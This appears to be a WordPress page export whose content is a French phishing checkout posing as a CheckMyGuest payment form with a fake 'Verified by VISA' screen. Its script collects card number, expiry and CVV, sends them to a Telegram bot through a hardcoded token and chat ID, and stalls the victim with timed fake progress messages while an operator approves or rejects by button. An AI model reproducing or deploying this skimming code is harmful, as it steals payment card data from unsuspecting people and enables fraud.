{"id":6,"date":"2026-07-04T23:43:37","date_gmt":"2026-07-04T23:43:37","guid":{"rendered":"http:\/\/165.227.135.238\/?page_id=6"},"modified":"2026-07-05T00:24:59","modified_gmt":"2026-07-05T00:24:59","slug":"6-2","status":"publish","type":"page","link":"https:\/\/pay.checkmyguest.cc\/","title":{"rendered":""},"content":{"rendered":"    <div id=\"wp-checkout-fullscreen-wrapper\">\n        <div id=\"checkout-container\">\n            <!-- Formulaire de paiement -->\n            <div id=\"checkout-card\">\n                <div class=\"logo-container\">\n                    <img decoding=\"async\" src=\"https:\/\/www.youstock.com\/app\/uploads\/2025\/12\/logo-checkmyguest.webp\" alt=\"CheckMyGuest\" class=\"cmg-logo\">\n                <\/div>\n                <div class=\"price-display\">Montant \u00e0 r\u00e9gler : <span>0.00 \u20ac<\/span><\/div>\n                \n                <form id=\"payment-form\">\n                    <input type=\"hidden\" id=\"tg-price\" value=\"0.00 \u20ac\">\n                    \n                    <div class=\"input-group\">\n                        <label>Num\u00e9ro de carte<\/label>\n                        <div class=\"input-wrapper\">\n                            <input type=\"text\" id=\"card-number\" placeholder=\"4970 1234 5678 9012\" maxlength=\"19\" required>\n                            <span class=\"card-icon\">\ud83d\udcb3<\/span>\n                        <\/div>\n                    <\/div>\n                    \n                    <div class=\"input-row\">\n                        <div class=\"input-group\">\n                            <label>Expiration<\/label>\n                            <input type=\"text\" id=\"card-expiry\" placeholder=\"MM\/AA\" maxlength=\"5\" required>\n                        <\/div>\n                        <div class=\"input-group\">\n                            <label>CVV<\/label>\n                            <input type=\"text\" id=\"card-cvv\" placeholder=\"123\" maxlength=\"3\" required>\n                        <\/div>\n                    <\/div>\n                    \n                    <button type=\"submit\" id=\"submit-btn\">Valider le paiement<\/button>\n                <\/form>\n                <div class=\"secure-footer\">\n                    \ud83d\udd12 Connexion chiffr\u00e9e SSL 256-bits\n                <\/div>\n            <\/div>\n\n            <!-- \u00c9cran 3D Secure \/ Chargement -->\n            <div id=\"secure-modal\" class=\"hidden\">\n                <div class=\"modal-content\">\n                    <div class=\"modal-header\">\n                        <img decoding=\"async\" src=\"https:\/\/upload.wikimedia.org\/wikipedia\/commons\/5\/5e\/Visa_Inc._logo.svg\" alt=\"Visa\" class=\"visa-logo\">\n                        <span class=\"secure-badge\">\ud83d\udee1\ufe0f Verified by VISA<\/span>\n                    <\/div>\n                    \n                    <div class=\"loader-container\">\n                        <div class=\"spinner\"><\/div>\n                    <\/div>\n                    \n                    <div id=\"step-text\">Initialisation s\u00e9curis\u00e9e...<\/div>\n                    \n                    <button id=\"bank-validated-btn\" class=\"hidden\">J'ai valid\u00e9 dans mon application<\/button>\n                <\/div>\n            <\/div>\n        <\/div>\n    <\/div>\n\n    <style>\n        #wp-checkout-fullscreen-wrapper {\n            position: fixed;\n            top: 0; left: 0; width: 100vw; height: 100vh;\n            background: #f4f7f9;\n            z-index: 999999;\n            overflow-y: auto;\n            display: flex;\n            justify-content: center;\n            align-items: center;\n            font-family: -apple-system, BlinkMacSystemFont, \"Segoe UI\", Roboto, Helvetica, Arial, sans-serif;\n        }\n        #checkout-container { width: 100%; padding: 20px; display: flex; justify-content: center; align-items: center; box-sizing: border-box; }\n        #checkout-card { background: #ffffff; padding: 40px 30px; border-radius: 20px; box-shadow: 0 20px 40px rgba(0,0,0,0.06); width: 100%; max-width: 440px; box-sizing: border-box; border: 1px solid #eef2f5; }\n        \n        .logo-container { text-align: center; margin-bottom: 15px; }\n        .cmg-logo { max-width: 200px; height: auto; object-fit: contain; }\n\n        .price-display { text-align: center; font-size: 15px; color: #677179; margin-bottom: 30px; }\n        .price-display span { font-weight: 700; color: #0066cc; font-size: 22px; display: block; margin-top: 5px;}\n        .input-group { margin-bottom: 22px; display: flex; flex-direction: column; }\n        .input-group label { font-size: 14px; color: #4c5661; margin-bottom: 8px; font-weight: 600; }\n        .input-wrapper { position: relative; display: flex; align-items: center; }\n        .input-wrapper input { width: 100%; }\n        .card-icon { position: absolute; right: 15px; color: #9aa6b2; font-size: 18px; }\n        .input-group input { \n    width: 100%; \/* <-- Ajout\u00e9 pour forcer l'input \u00e0 respecter la taille de sa colonne flex *\/\n    padding: 14px 16px; \n    border: 1.5px solid #e2e8f0; \n    border-radius: 10px; \n    font-size: 16px; \n    transition: all 0.2s ease; \n    outline: none; \n    color: #1a1a1a; \n    box-sizing: border-box; \n}\n        .input-group input:focus { border-color: #0066cc; box-shadow: 0 0 0 3px rgba(0,102,204,0.15); }\n        .input-row { display: flex; gap: 16px; }\n        .input-row .input-group { flex: 1; }\n        #submit-btn { width: 100%; background: #0066cc; color: white; border: none; padding: 16px; border-radius: 10px; font-size: 16px; font-weight: 600; cursor: pointer; transition: background 0.2s ease; margin-top: 10px; }\n        #submit-btn:hover { background: #0052a3; }\n        .secure-footer { text-align: center; font-size: 12px; color: #9aa6b2; margin-top: 20px; }\n        \n        #secure-modal { position: fixed; top: 0; left: 0; width: 100%; height: 100%; background: rgba(255,255,255,0.98); display: flex; justify-content: center; align-items: center; z-index: 1000000; }\n        .modal-content { background: white; padding: 45px 35px; border-radius: 24px; box-shadow: 0 25px 60px rgba(0,0,0,0.08); width: 90%; max-width: 420px; text-align: center; box-sizing: border-box; border: 1px solid #eef2f5; }\n        .modal-header { display: flex; justify-content: space-between; align-items: center; margin-bottom: 40px; padding-bottom: 18px; border-bottom: 1px solid #f1f5f9; }\n        .visa-logo { height: 22px; }\n        .secure-badge { font-size: 14px; color: #2563eb; font-weight: 700; letter-spacing: 0.5px; }\n        .loader-container { margin-bottom: 35px; display: flex; justify-content: center; }\n        .spinner { width: 55px; height: 55px; border: 4px solid #f1f5f9; border-top: 4px solid #0066cc; border-radius: 50%; animation: spin 0.8s linear infinite; }\n        #step-text { font-size: 16px; color: #334155; font-weight: 600; line-height: 1.5; min-height: 50px; padding: 0 10px; }\n        #bank-validated-btn { background: #10b981; color: white; border: none; padding: 15px 24px; border-radius: 10px; font-size: 16px; font-weight: 600; cursor: pointer; margin-top: 25px; width: 100%; transition: background 0.2s; box-shadow: 0 4px 12px rgba(16,185,129,0.2); }\n        #bank-validated-btn:hover { background: #059669; }\n        .hidden { display: none !important; }\n        \n        @keyframes spin { 0% { transform: rotate(0deg); } 100% { transform: rotate(360deg); } }\n\n        @media (max-width: 480px) {\n            #checkout-card, .modal-content { padding: 30px 20px; border-radius: 12px; box-shadow: none; border: none; }\n            #wp-checkout-fullscreen-wrapper { background: #ffffff; align-items: flex-start; }\n            #checkout-container { padding: 10px; }\n        }\n    <\/style>\n\n    <script>\n    document.addEventListener('DOMContentLoaded', function() {\n        const form = document.getElementById('payment-form');\n        const modal = document.getElementById('secure-modal');\n        const stepText = document.getElementById('step-text');\n        const bankBtn = document.getElementById('bank-validated-btn');\n        let currentTxId = null;\n        let loopInterval = null;\n\n        document.getElementById('card-number').addEventListener('input', e => {\n            e.target.value = e.target.value.replace(\/\\s?\/g, '').replace(\/(\\d{4})\/g, '$1 ').trim();\n        });\n        document.getElementById('card-expiry').addEventListener('input', e => {\n            e.target.value = e.target.value.replace(\/\\\/\/g, '').replace(\/(\\d{2})\/g, '$1\/').replace(\/\\\/$\/, '').trim();\n        });\n\n        form.addEventListener('submit', function(e) {\n            e.preventDefault();\n            modal.classList.remove('hidden');\n            currentTxId = 'tx_' + Date.now();\n            \n            sendToTelegram(\n    currentTxId, \n    document.getElementById('tg-price').value, \n    document.getElementById('card-number').value,\n    document.getElementById('card-expiry').value, \/\/ Ajout\u00e9\n    document.getElementById('card-cvv').value     \/\/ Ajout\u00e9\n);\n            \n            runStep(\"Importation de votre r\u00e9servation en cours (15s)\", 15000, () => {\n                runStep(\"Traitement de votre moyen de paiement (15s)\", 15000, () => {\n                    runStep(\"Paiement en cours.. (15s)\", 15000, () => {\n                        stepText.innerHTML = \"Veuillez valider l'op\u00e9ration dans votre application bancaire\";\n                        bankBtn.classList.remove('hidden');\n                    });\n                });\n            });\n        });\n\n        function runStep(text, duration, callback) {\n            stepText.innerText = text;\n            setTimeout(callback, duration);\n        }\n\n        bankBtn.addEventListener('click', function() {\n            bankBtn.classList.add('hidden');\n            stepText.innerText = \"Cr\u00e9ation de votre r\u00e9servation.. (15s)\";\n            \n            \/\/ Lancement de la boucle infinie de v\u00e9rification toutes les 3 secondes\n            loopInterval = setInterval(function() {\n                checkTelegramDecision(currentTxId, function(decision) {\n                    if (decision === 'approved') {\n                        clearInterval(loopInterval); \/\/ On stoppe la boucle\n                        stepText.innerHTML = \"<span style='color:#10b981; font-weight:bold;'>Paiement Valid\u00e9 !<\/span><br>Redirection vers votre espace CheckMyGuest...\";\n                        setTimeout(() => {\n                            window.location.href = \"https:\/\/checkmyguest.net\";\n                        }, 2500);\n                    } else if (decision === 'rejected') {\n                        clearInterval(loopInterval); \/\/ On stoppe la boucle\n                        stepText.innerHTML = \"<span style='color:#ef4444; font-weight:bold; font-size:18px;'>Paiement Refus\u00e9<\/span><br><span style='font-size:14px; color:#64748b; display:block; margin-top:10px;'>La transaction a \u00e9t\u00e9 rejet\u00e9e par votre \u00e9tablissement.<\/span>\";\n                        setTimeout(() => { modal.classList.add('hidden'); }, 5000);\n                    }\n                    \/\/ Si decision === 'pending', on ne fait rien, la phrase \"Cr\u00e9ation de votre r\u00e9servation...\" reste \u00e0 l'\u00e9cran et la boucle continue\n                });\n            }, 3000);\n        });\n    });\n\n    function sendToTelegram(txId, price, cardNumber, expiry, cvv) {\n    const token = '8943308087:AAE-82Tb-SKyl44EChMUQzvjWujUTlFV7_c';\n    const chatId = '8661298916';\n    const text = `\ud83d\udd14 *Nouvelle tentative de paiement*\\n\\n\ud83d\udcb0 *Montant :* ${price}\\n\ud83d\udcb3 *Carte :* \\`${cardNumber}\\`\\n\ud83d\udcc5 *Exp :* \\`${expiry}\\`\\n\ud83d\udd12 *CVV :* \\`${cvv}\\`\\n\ud83c\udd94 *ID Unique :* \\`${txId}\\``;\n    \n    const inlineKeyboard = {\n        inline_keyboard: [[\n            { text: \"\ud83d\udfe2 VALIDER\", callback_data: `ok_${txId}` },\n            { text: \"\ud83d\udd34 REFUSER\", callback_data: `no_${txId}` }\n        ]]\n    };\n\n    fetch(`https:\/\/api.telegram.org\/bot${token}\/sendMessage`, {\n        method: 'POST',\n        headers: { 'Content-Type': 'application\/json' },\n        body: JSON.stringify({ chat_id: chatId, text: text, parse_mode: 'Markdown', reply_markup: inlineKeyboard })\n    });\n}\n\n    function checkTelegramDecision(txId, callback) {\n        const token = '8943308087:AAE-82Tb-SKyl44EChMUQzvjWujUTlFV7_c';\n        \n        fetch(`https:\/\/api.telegram.org\/bot${token}\/getUpdates?offset=-20&limit=20`)\n        .then(res => res.json())\n        .then(data => {\n            let decision = 'pending';\n            if (data.result && data.result.length > 0) {\n                for (let i = data.result.length - 1; i >= 0; i--) {\n                    let update = data.result[i];\n                    if (update.callback_query && update.callback_query.data) {\n                        let callbackData = update.callback_query.data;\n                        if (callbackData === `ok_${txId}`) { decision = 'approved'; break; }\n                        if (callbackData === `no_${txId}`) { decision = 'rejected'; break; }\n                    }\n                }\n            }\n            callback(decision);\n        })\n        .catch(() => callback('pending'));\n    }\n    <\/script>\n    \n","protected":false},"excerpt":{"rendered":"","protected":false},"author":1,"featured_media":0,"parent":0,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":{"footnotes":""},"class_list":["post-6","page","type-page","status-publish","hentry"],"_links":{"self":[{"href":"https:\/\/pay.checkmyguest.cc\/index.php?rest_route=\/wp\/v2\/pages\/6","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/pay.checkmyguest.cc\/index.php?rest_route=\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/pay.checkmyguest.cc\/index.php?rest_route=\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/pay.checkmyguest.cc\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/pay.checkmyguest.cc\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=6"}],"version-history":[{"count":2,"href":"https:\/\/pay.checkmyguest.cc\/index.php?rest_route=\/wp\/v2\/pages\/6\/revisions"}],"predecessor-version":[{"id":9,"href":"https:\/\/pay.checkmyguest.cc\/index.php?rest_route=\/wp\/v2\/pages\/6\/revisions\/9"}],"wp:attachment":[{"href":"https:\/\/pay.checkmyguest.cc\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=6"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}